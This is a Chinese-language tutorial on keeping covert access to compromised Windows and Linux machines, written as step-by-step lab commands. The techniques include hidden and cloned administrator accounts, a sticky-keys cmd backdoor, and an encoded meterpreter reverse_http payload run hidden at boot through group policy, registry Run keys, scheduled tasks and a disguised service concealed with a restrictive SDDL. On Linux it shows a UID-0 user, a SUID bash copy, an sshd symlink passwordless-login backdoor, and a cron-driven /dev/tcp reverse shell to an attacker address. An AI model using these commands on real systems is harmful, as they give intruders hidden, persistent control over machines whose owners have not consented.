windows权限维持
1. 克隆账号权限维持
隐藏用户维持
隐藏账户,顾名思义就是计算机不看不到的用户(不是不存在用户只是用一般的查看方式看不到)
$符号隐藏用户
$符号隐藏用户就是在一个用户名后面添加$符号,如(hack$)达到简单的隐藏用户目的,从而进行简单的权限维持
我们平时查看一个操作系统的有几个用户的命令如下
net user //查看电脑中的用户命令
可以看到当前一个2008的机器上存在两个用户Administrator和Guest
接下来我们创建一个简单的隐藏用户,如下命令
net user hack$ Admin@123 /add
net user 是添加用户命令,hack$为隐藏用户的用户名,Admin@123是密码
接下来使用net user 命令查看电脑中的用户,可以发现并没有hack$这个用户
但是通过【控制面板】->【管理账户】中是可以看到该用户的,或者其他方式可是可以看到的(其他方式大家 自己搜索)
注册表克隆用户隐藏
因为$用户可以看到,在上一步的基础上我们打开注册表,在注册表操作进行用户隐藏
提示:该操作是建立在上面$符号隐藏用户的基础上的
打开注册表,找到HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\路径下
导出注册表文件(之前创建的hack$用户),会生成一个reg文件
将 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users中的 administrator中的F键值复制
将复制的值,粘贴到hack$对应的F值中
将hack$ 对应的的数据导出来,保存为hack$1
通过net命令删除hack$用户
命令:net user hack$ /delete
此时hack$已经被删除,但是我们有生成两个reg文件,对两个文件进行运行
此时使用命令或者【账户管理】或者【计算机管理】都没有hack$用户
但是使用注册表和wmic还是可以查看到此用户的
2. shift后门维持
Shift快捷键的介绍
Windows的粘滞键是C:\windows\system32\sethc.exe 的程序,它本是为不方便按组合键的人设计的,Windows系统按5下shift后,Windows就执行了system32下的sethc.exe,也就是启用了粘滞键
查看此程序的运行权限发现是当前用户
但是当我们未登陆系统(停留在登陆界面)的时候 系统还不知道我们将以哪个用户登陆,所以在这个时候连续按5次shift后的话系统将会以system用户(具有管理员级别的权限)来运行sethc.exe这个程序
Shift后门原理
我们可以把cmd.exe这个程序更名称sethc.exe替换掉在登陆界面的时候我们连续按下5吃shift键系统以system权限就会运行我们的cmd.exe那么我们的cmd.exe就具有了管理员权限了
Shift后门原理
在命令行行执行以下命令,为复制cmd.exe为sethc.exe
copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe
但是会提示拒绝访问
需要更改文件权限,如下命令
takeown /f c:\windows\system32\*.* /a /r /d y 注释:强制将当前目录下的所有文件及文件夹、子文件夹下的所有者更改为管理员组(administrators) cacls c:\windows\system32\*.* /T /E /G administrators:F 注释:在当前目录下的文件、子文件夹的 NTFS权限上添加管理员组(administrators)完全控制权限(并不删除原有所有NTFS权限设置)
执行后就可以进行【1】步骤的操作的,成功执行
在未登陆的情况下按下5次Shift
3. 启动项维持
启动项目,就是开机的时候系统会在前台或者后台运行的程序。当操作系统完成登录过程,进程表中出现了很多的 进程。操作系统在启动的时候,自动加载了很多程序。许多程序的自启动,给我们带来了很多方便,这是不争的事 实,但不是每个自启动的程序对我们都有用;更甚者,也许有病毒或木马在自启动行列。
组策略维持
一、组策略介绍
介绍:组策略(英语:Group Policy)是微软Windows NT家族操作系统的一个特性,它可以控制用户帐户和计算 机帐户的工作环境。组策略提供了操作系统、应用程序和活动目录中用户设置的集中化管理和配置。组策略的其中 一个版本名为本地组策略(缩写“LGPO”或“LocalGPO”),这可以在独立且非域的计算机上管理组策略对象。
原理:在组策略中添加Payload,利用组策略的自启动策略来加载Payload文件
二、组策略所在位置
在运行框中输入 “gpedit.msc ”,点击确定或者直接按键盘上的回车键,打开组策略
在【Windows设置】->【脚本(启动/关机)】双击【启动】就可以进行设置
选择要添加的脚本或者PowerShel
三、利用方式
我们使用msf生成一段PowerShsell进行测,试将生成的PowerShell脚本写入本地策略组中
机器名和IP地址如下:
机器名称 IP地址 Windows Server 2008 192.168.41.141 Kali 192.168.1.142 kali 生成powershell
msfvenom -p windows/x64/meterpreter/reverse_http -e x86/shikata_ga_nai -i 15 -b '\x00' lhost=192.168.1.142 lport=3333 -f psh -o shell.ps1
将生成的powershell下载到2008机器上使用 python -m SimpleHTTPServer 8000命令传递
创建一个1.bat脚本,并且添加到组策略【脚本】中
bat脚本内容如下:
@echo off powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\Users\Administrator\Desktop\keep\shell.ps1 exit
-w 隐藏窗口
-ExecutionPolicy Bypass 绕过策略
-NoExit 不推出 添加到组策略开机启动中:kali运行msf进行监听
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_http set LHOST 192.168.1.142 set LPORT 3333 run
重启2008机器查看是否已经连接
启动文件夹维持
一、启动文件夹介绍
启动文件夹可以使程序在开始时候自动启动。将需要开机自动启动的程序复制到开始菜单——所有程序——启动的 文件夹内,可以将开机程序自动启动。
二、启动文件夹位置
启动文件夹:
C: \ProgramData\Microsoft\Windows\Start Menu\Programs\Startup #系统级,需要system权限
C: \Users\用户名\AppData\Roaming\Microsoft\Windows\Start\Menu\Programs\Startup #用户级 普通 用户就可以
组策略脚本启动文件夹:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown C:\Windows\System32\GroupPolicy\User\Scripts\Logon C:\Windows\System32\GroupPolicy\User\Scripts\Logoff
三、利用方式
将需要启动的文件放入启动文件夹中,等待用户重启计算机
注册表维持
一、注册表介绍
注册表(Registry,繁体中文版Windows操作系统称之为登录档)是Microsoft Windows中的一个重要的数据库, 用于存储系统和应用程序的设置信息。早在Windows 3.0推出OLE技术的时候,注册表就已经出现。随后推出的 Windows NT是第一个从系统级别广泛使用注册表的操作系统。但是,从Microsoft Windows 95操作系统开始,注 册表才真正成为Windows用户经常接触的内容,并在其后的操作系统中继续沿用。
二、注册表位置
在运行框中输入 “regedit ”,点击确定或者直接按键盘上的回车键,打开组策略
三、利用方式
Windows注册表存在的自启动后门较多,此类后门主要利用原理为将Payload文件植入具备自启动特性的注册 表中,这样Payload就会在计算机启动过程被执行。此处以较为经典的两类自启动项进行说明演示
# HKEY_LOCAL_MACHINE类 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce # HKEY_CURRENT_USER类 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
本次实验利用方式是,使用reg add 命令进行添加,命令介绍如下
REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f] [/reg:32 | /reg:64] KeyName [\\Machine\]FullKey Machine 远程机器名-忽略默认到当前机器。远程机器上只有 HKLM 和 HKU 可用。 FullKey ROOTKEY\SubKey ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ] SubKey 所选 ROOTKEY 下注册表项的完整名称。 /v 所选项之下要添加的值名称。 /ve 为注册表项添加空白值名称(默认)。 /t RegKey 数据类型 [ REG_SZ | REG_MULTI_SZ | REG_EXPAND_SZ | REG_DWORD | REG_QWORD | REG_BINARY | REG_NONE ] 如果忽略,则采用 REG_SZ。 /s 指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符 如果忽略,则将 "\0" 用作分隔符。 /d 要分配给添加的注册表 ValueName 的数据。 /f 不用提示就强行覆盖现有注册表项。 /reg:32 指定应该使用 32 位注册表视图访问的注册表项。 /reg:64 指定应该使用 64 位注册表视图访问的注册表项。
根据上述的提示,我们将【1.bat】添加到注册中,进行启动
使用如下命令
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\Users\Administrator\Desktop\keep\1.bat"
测试能不能到kali进行连接
4. 计划任务维持
计划任务介绍
计划任务是系统的常见功能,利用任务计划功能,可以将任何脚本、程序或文档安排在某个最方便的时间运行。任务计划在每次系统启动的时候启动并在后台运行。
计划任务打开方式
- 【管理工具】—>【任务计划程序】
- 【控制面板】—>【计划任务】
- 【taskschd.msc】命令
计划任务生成方式
一、使用schtasks
schtasks命令使用介绍
SCHTASKS /parameter [arguments] 描述:允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务。 参数列表: /Create 创建新计划任务。 /Delete 删除计划任务。 /Query 显示所有计划任务。 /Change 更改计划任务属性。 /Run 按需运行计划任务。 /End 中止当前正在运行的计划任务。 /ShowSid 显示与计划的任务名称相应的安全标识符。 /? 显示此帮助消息。 Examples: 产看具体详情 SCHTASKS SCHTASKS /? SCHTASKS /Run /? SCHTASKS /End /? SCHTASKS /Create /? SCHTASKS /Delete /? SCHTASKS /Query /? SCHTASKS /Change /? SCHTASKS /ShowSid /?
我们主要关注SCHTASKS /Delete /? 下的命令
使用以下命令进行测试
1、在每个任意用户登录中以SYSTEM的形式执行计划任务: schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onlogon /ru System 2、在系统启动期间或用户会话处于非活动状态(空闲模式)时执行 schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onidle /i 30 3、在系统启动的时候以SYSTEM的形式执行计划任务: schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onstart /ru System 4、计划任务以 System 权限每10分钟运行一次 schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc minute/mo 10 /ru system
我们利用当系统开机的时候运行计划任务
schtasks /create /tn shell /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\Users\Administrator\Desktop\keep\shell.ps1" /sc onstart /ru System
查看连接情况
二、使用at
命令详情如下
\\computername 指定远程计算机。如果省略这个参数,会计划在本地计算机上运行命令。 id 指定给已计划命令的识别号。 /delete 删除某个已计划的命令。如果省略 id,计算机上所有已计划的命令都会被删除。 /yes 不需要进一步确认时,跟删除所有作业的命令一起使用。 time 指定运行命令的时间。 /interactive 允许作业在运行时,与当时登录的用户桌面进行交互。 /every:date[,...] 指定在每周或每月的特定日期运行命令 如果省略日期,则默认为在每月的本日运行。 /next:date[,...] 指定在下一个指定日期(如,下周四)运行命令。如果省略日期,则默认为在每月的本日运行。 "command" 准备运行的 Windows NT 命令或批处理程序。
简单命令如下
at 1:00AM /Every:Saturday 1.bat 在每个周六1:00点,电脑定时启动1,bat批处理文件。
编写一个命令进行权限维持
bat脚本内容如下:
@echo off powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\Users\Administrator\Desktop\keep\shell.ps1 exit
at 00:00 C:\Users\Administrator\Desktop\keep\1.bat
查看连接情况
at 1 /delete 删除任务
5. 创建服务维持
服务介绍
服务(即,以前的 NT 服务)使您能够创建在它们自己的 Windows 会话中可长时间运行的可执行应用程序。这些服务可以在计算机启动时自动启动,可以暂停和重新启动而且不显示任何用户界面。这种服务非常适合在服务器上 使用,或任何时候,为了不影响在同一台计算机上工作的其他用户,需要长时间运行功能时使用。还可以在不同于 登录用户的特定用户帐户或默认计算机帐户的安全上下文中运行服务。
输入sc/?出现以下提示
描述: SC 是用来与服务控制管理器和服务进行通信的命令行程序。
用法: sc <server> [command] [service name] <option1> <option2>...
命令:
query查询服务的状态,或枚举服务类型的状态。
queryex查询服务的扩展状态,或枚举服务类型的状态。
start启动服务。
pause向服务发送 PAUSE 控制请求。
interrogate向服务发送 INTERROGATE 控制请求。
continue向服务发送 CONTINUE 控制请求。
stop向服务发送 STOP 请求。
config更改服务的配置(永久)。
description更改服务的描述。
failure更改失败时服务执行的操作。
failureflag更改服务的失败操作标志。
sidtype更改服务的服务 SID 类型。
privs更改服务的所需特权。
managedaccount更改服务以将服务帐户密码标记为由 LSA 管理。
qc查询服务的配置信息。
qdescription查询服务的描述。
qfailure查询失败时服务执行的操作。
qfailureflag查询服务的失败操作标志。
qsidtype查询服务的服务 SID 类型。
qprivs查询服务的所需特权。
qtriggerinfo查询服务的触发器参数。
qpreferrednode查询服务的首选 NUMA 节点。
qmanagedaccount查询服务是否将帐户与 LSA 管理的密码结合使用。
qprotection查询服务的进程保护级别。
quserservice查询用户服务模板的本地实例。
delete (从注册表中)删除服务。
create创建服务(并将其添加到注册表中)。
control向服务发送控制。
sdshow显示服务的安全描述符。
sdset设置服务的安全描述符。
showsid显示与任意名称对应的服务 SID 字符串。
triggerinfo配置服务的触发器参数。
preferrednode设置服务的首选 NUMA 节点。
GetDisplayName获取服务的 DisplayName。
GetKeyName获取服务的 ServiceKeyName。
EnumDepend枚举服务依赖关系。
因为我们使用的是create。所以输入 sc create 得到以下提示
服务维持权限
根据以上的提示信息我们来创建一个服务让他启动后门程序
1、创建服务
sc create shell start= auto binPath= "C:\Users\zoe\Desktop\test\服务.exe" obj= Localsystem
2、对该服务进行伪装
sc description "shell" "绝对安全的shell哈哈哈"
3、设置服务的自动启动
sc config "shell" start= auto
4、然后启动该服务
net start "服务名"
接下来去查看服务是否已经创建【services.msc】
接下来重启电脑看看能不能连接
隐藏服务
这种创建服务的方法隐藏性太弱,直接在服务里就能看到,可以在创建完服务后,使用以下命令将创建的服务隐藏,这样不论是在服务中,还是使用命令都查不到这个服务。
sc sdset test "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
使用以下的命令进行恢复
sc sdset test "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
Linux权限维持
1.特权账号
用户文件介绍
在Linux系统中,存在着两个特殊的文件/etc/passwd 和/etc/shadow 这两个文件中存储着用户名和加密后的密码. 在目前大多数Linux系统中,将加密后的用户密码存放在/etc/shadow中但是/etc/shadow 只能root用户查看
一、/etc/passwd介绍
用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
用户名
用户名,就是一串代表用户身份的字符串,用户名仅是为了方便用户记忆,Linux 系统是通过 UID 来识别用户身份,分配用户权限的。/etc/passwd 文件中就定义了用户名和 UID 之间的对应关系。
密码
“x” 表示此用户设有密码,但不是真正的密码,真正的密码保存在 /etc/shadow 文件中,在早期的 UNIX 中,这里保存的就是真正的加密密码串,但由于所有程序都能读取此文件,非常容易造成用户数据被窃取。虽然密码是加密 的,但是采用暴力破解的方式也是能够进行破解的。因此,现在 Linux 系统把真正的加密密码串放置在/etc/shadow 文件中,此文件只有 root 用户可以浏览和操作,这样就最大限度地保证了密码的安全。
UID
UID,也就是用户 ID。每个用户都有唯一的一个 UID,Linux 系统通过 UID 来识别不同的用户。实际上,UID就是一个0~65535 之间的数,不同范围的数字表示不同的用户身份
UID范围 用户身份 0 超级用户。UID 为 0 就代表这个账号是管理员账号。在 Linux 中,如何把普通用户升级成管理员呢?只需把其他用户的 UID 修改为 0 就可以了,这一点和 Windows 是不同的。不过不建议建立多个管理员账号。 1~1000 系统用户(伪用户)。也就是说,此范围的 UID 保留给系统使用。其中,1 99 用于系统自行创建的账号;100499 分配给有系统账号需求的用户。其实,除了 0 之外,其他的 UID 并无不同,这里只是默认 500 以下的数字给系统作为保留账户,只是一个公认的习惯而已。1000~65535 普通用户。通常这些 UID 已经足够用户使用了。但不够用也没关系,2.6.x 内核之后的Linux 系统已经可以支持 232 个 UID 了。 GID
全称“Group ID”,简称“组ID”,表示用户初始组的组 ID 号。在建立用户jack 的同时,就会建立jack 组作为jack 用户的初始组。刚刚的 jack 用户除属于初始组 jack 外,我又把它加入了 bob 组,那么jack 用户同时属于 jack 组和bob 组,其中jack是初始组,bob 是附加组。
描述性信息
这个字段并没有什么重要的用途,只是用来解释这个用户的意义而已。
主目录
也就是用户登录后有操作权限的访问目录,通常称为用户的主目录。
默认的Shell
Shell 就是 Linux 的命令解释器,是用户和 Linux 内核之间沟通的桥梁。inux 系统默认使用的命令解释器是bash (/bin/bash)
二、/etc/shadow介绍
/etc/shadow 文件,用于存储 Linux 系统中用户的密码信息,又称为“影子文件”。前面介绍了 /etc/passwd 文件, 由于该文件允许所有用户读取,易导致用户密码泄露,因此 Linux 系统将用户的密码信息从 /etc/passwd 文件中分离出来,并单独放到了此文件中。/etc/shadow 文件只有 root 用户拥有读权限,其他用户没有任何权限,这样就保证了用户密码的安全性。
用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽 限时间:账号失效时间:保留字段
用户名 同 /etc/passwd 文件的用户名有相同的含义。
加密密码 这里保存的是真正加密的密码。目前 Linux 的密码采用的是 SHA512 散列加密算法,原来采用的是MD5或DES加密算法。SHA512 散列加密算法的加密等级更高,也更加安全。注意,这串密码产生的乱码不能手工修改,如果手工修改,系统将无法识别密码,导致密码失效。很多软件透过这个功能,在密码串前加上”!”、”” 或”x” 使密码暂时失效。所有伪用户的密码都是”!!” 或””,代表没有密码是不能登录的。当然,新创建的用户如果不设定密码,那么它的密码项也是 “!!”,代表这个用户没有密码,不能登录。
最后一次修改时间 此字段表示最后一次修改密码的时间,可是,为什么 root用户显示的是15775呢?这是因为,Linux计算日期的时间是以 1970年1月1日作为1不断累加得到的时间,到1971年1月1日,则为 366天。这里显示15775天,也就是说,此root账号在1970年1月1日之后的第15775天修改的root用户密码。
最小修改时间间隔最小修改间隔时间,也就是说,该字段规定了从第3 字段(最后一次修改密码的日期)起,多长时间之内不能修改密码。如果是0,则密码可以随时修改;如果是10,则代表密码修改后10天之内不能再次修改密码。此字段是为了针对某些人频繁更改账户密码而设计的。
密码有效期经常变更密码是个好习惯,为了强制要求用户变更密码,这个字段可以指定距离第3字段(最后一次更改密码)多长时间内需要再次变更密码,否则该账户密码进行过期阶段。该字段的默认值为99999,也就是273年,可认为是永久生效。如果改为90,则表示密码被修改90 天之后必须再次修改,否则该用户即将过期。管理服务器时,通过这个字段强制用户定期修改密码。
密码需要变更前的警告天数与第5字段相比较当账户密码有效期快到时,系统会发出警告信息给此账户,提醒用户”再过n天你的密码就要过期了,请尽快重新设置你的密码!”。该字段的默认值是7,也就是说,距离密码有效期的第7天开始,每次登录系统都会向该账户发出 “修改密码”的警告信息。
密码过期后的宽限天数
也称为“口令失效日”,简单理解就是,在密码过期后,用户如果还是没有修改密码,则在此字段规定的宽限天数内,用户还是可以登录系统的;如果过了宽限天数,系统将不再让此账户登陆,也不会提示账户过期,是完全禁用。比如说,此字段规定的宽限天数是10,则代表密码过期10天后失效;如果是 0,则代表密码过期后立即失效;如果是 -1,则代表密码永远不会失效。
账号失效时间
同第3个字段一样,使用自1970年1月1日以来的总天数作为账户的失效时间。该字段表示,账号在此字段规定的时间之外,不论你的密码是否过期,都将无法使用!该字段通常被使用在具有收费服务的系统中
保留这个字段目前没有使用,等待新功能的加入。
特权用户维持
添加特权用户及时添加的用户和root拥有相同的权限,也就是在添加用户的时候将 UID更改为0,使用useradd命令创建用户
用法:useradd [选项] 登录 useradd -D useradd -D [选项]
选项:
-b, --base-dir BASE_DIR 新账户的主目录的基目录
-c, --comment COMMENT 新账户的 GECOS 字段
-d, --home-dir HOME_DIR 新账户的主目录
-D, --defaults 显示或更改默认的 useradd 配置
-e, --expiredate EXPIRE_DATE 新账户的过期日期
-f, --inactive INACTIVE 新账户的密码不活动期
-g, --gid GROUP 新账户主组的名称或 ID
-G, --groups GROUPS 新账户的附加组列表
-h, --help 显示此帮助信息并推出
-k, --skel SKEL_DIR 使用此目录作为骨架目录
-K, --key KEY=VALUE 不使用 /etc/login.defs 中的默认值
-l, --no-log-init 不要将此用户添加到最近登录和登录失败数据库
-m, --create-home 创建用户的主目录
-M, --no-create-home 不创建用户的主目录
-N, --no-user-group 不创建同名的组
-o, --non-unique 允许使用重复的 UID 创建用户
-p, --password PASSWORD 加密后的新账户密码
-r, --system 创建一个系统账户
-R, --root CHROOT_DIR chroot 到的目录
-s, --shell SHELL 新账户的登录 shell
-u, --uid UID 新账户的用户 ID
-U, --user-group 创建与用户同名的组
-Z, --selinux-user SEUSER 为 SELinux 用户映射使用指定 SEUSER
添加普通用户
## 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
## useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest ## chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd ## echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test
添加超级用户
## 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
2. SUID权限维持
SUID介绍
SUID是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如 程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似,只是执行程序时 获得的是文件属组的权限。passwd这个命令程序的权限设置,它就是设置了suid权限的
注意以下几点:
只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.
命令执行者要对该程序文件拥有执行(x)权限.
命令执行者在执行该程序时获得该程序文件属主的身份.
SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效
SUID维持
找到bash文件
whereis bash
复制到普通用户环境能接触的文件夹
cp /bin/bash /tmp/.bash
设置权限
chmod 4755 /tmp/.bash 后者 chmod +s /tmp/.bash
创建一个普通用户jack
useradd -p `openssl passwd -1 -salt 'salt' 123456` jack
使用jack用户登录
运行/tmp/.bash
/tmp/.bash -p
3. 软连接维持
原理介绍
PAM介绍
PAM认证一般遵循这样的顺序:Service(服务)→PAM(配置文件)→pam_*.so。PAM认证首先要确定那一项服务,然后加载相应的PAM的配置文件(位于/etc/pam.d下),最后调用认证文件(位于/lib/security下)进行安全认证,用户访问服务器的时候,服务器的某一个服务程序把用户的谁请求发送到PAM模块进行认证。对于不同的服务器应用程序所对应的PAM模块也是不同的。如果想查看某个程序是否支持PAM使用 ls /etc/pam.d
软连接介绍
软连接称之为符号连接(Symbolic Link),也叫软连接。软链接文件有类似于Windows的快捷方式。它实际上是一个特殊的文件。在符号连接中,文件实际上是一个文本文件,其中包含的有另一文件的位置信息。
下来做个实验演示演示一下
touch test.txt //创建test.txt文件 ln -fs /var/www/html/1.txt test.txt cat test.txt
ln命令介绍
命令 | 描述 |
---|---|
-f,–force | 强行删除任何已存在的目标文件 |
-s,–symbolic | 制作符号链接而不是硬链接 |
后门原理
ssd软连接是Linux下很经典的一种权限维持方法,其中涉及的一个比较重要的模块是“pam_rootok.so”模块,“pam_rootok.so”模块的功能是若用户UID是0,返回成功,当“/etc/pam.d/ssh”文件配置了“auth sufficient
pam_rootok.so”时可以不需要密码登录。当在被控制端执行命令“ln -sf /usr/sbin/shd /tmp/su;/tmp/su -oPort=1234”建立shd的软连接后门,PAM认证时会根据软连接的名字到“ /etc/pam.d”目录寻找对应到PAM认证文件,由于软连接的文件名为“su”,所以SSH的认证文件就被替换成了“/ ‘etc/pam.d/su”,而“su”中默认配置了“auth sufficient pam_rootok.so”,从而导致SSH可以不需要密码登录。
软链接维持
判断此计算机SSH是否开启了PAM认证
cat /etc/ssh/sshd_config|grep UsePAM
查看pmd.m文件下哪些文件配置了pam_rootok
find /etc/pam.d |xargs grep "pam_rootok"
以root权限建软连接
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=23333
ln -sf /usr/sbin/sshd /tmp/chsh 建立sshd的软连接
/tmp/chsh -oPort=23333 更改端口为23333
进行登录
ssh root@[IP地址] -p [后门端口] 不需要密码
4. SSH公钥登录
公钥介绍
使用密码登录,每次都必须输入密码,非常麻烦。好在SSH还提供了公钥登录,可以省去输入密码的步骤。所谓”公钥登录”,原理很简单,就是用户将自己的公钥储存在远程主机上。登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell,不再要求密码。
公钥维持
在需要登录服务器的机器上生成公钥和私钥,我使用的windows就用windos生成
ssh-keygen -t rsa
中间按3次回车
将生成的id_rsa.pub文件复制到服务器的/root/.ssh/authorized_keys文件中
查看服务器中/etc/ssh/sshd_confg文件是否开启了公私钥登录 cat /etc/ssh/sshd_config
尝试登录
5. 定时任务维持
定时任务介绍
Linux crontab是用来定期执行程序的命令。
当安装完成操作系统之后,默认便会启动此任务调度命令。
crond命令每分钟会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。
注意:新创建的cron任务,不会马上执行,至少要过2分钟后才可以,当然你可以重启cron 来马上执行。
命令介绍如下:
用法:【crontab [options] file】|【crontab [options]】|【crontab -n [hostname]】选项:
-u <user> 定义用户
-e 编辑用户的计划任务
-l 列出用户的计划任务
-r 删除用户的计划任务
-i 删除前提示
-n <host> set host in cluster to run users' crontabs
-c get host in cluster to run users' crontabs
-s selinux context
-x <mask> 启用调试
时间格式如下:
f1 f2 f3 f4 f5 program
其中f1是表示分钟,f2表示小时,f3表示一个月份中的第几日,f4表示月份,f5表示一个星期中的第几天。
program 表示要执行的程序。
当f1为*时表示每分钟都要执行program,f2为*时表示每小时都要执行程序,依次类推
当f1为a-b时表示从第a分钟到第b分钟这段时间内要执行,f2为a-b 时表示从第a到第b小时都要执行,其馀类推
当f1为*/n时表示每n分钟个时间间隔执行一次,f2为*/n表示每n小时个时间间隔执行一次,其馀类推
当f1为a,b,c,...时表示第a,b,c,...分钟要执行,f2为a,b, c,...时表示第a,b,c...个小时要执行,依次类推
定时任务维持
创建shell脚本在/tmp/shell.sh
bash -i >&/dev/tcp/192.168.41.129/12345 0>&1
更改权限
chmod 755 /tmp/shell.sh
编辑计划任务crontab -e 输入*/1 * * * * /tmp/shell.sh ,如果是-e编辑的不需要添加用户名
systemctl status crond //查看计划任务状态 systemctl start crond.service //启动计划任务
在192.168.41.129上用nc监听,如果不行记得关闭防火墙
systemctl stop firewalld.service
等待连接,连接成功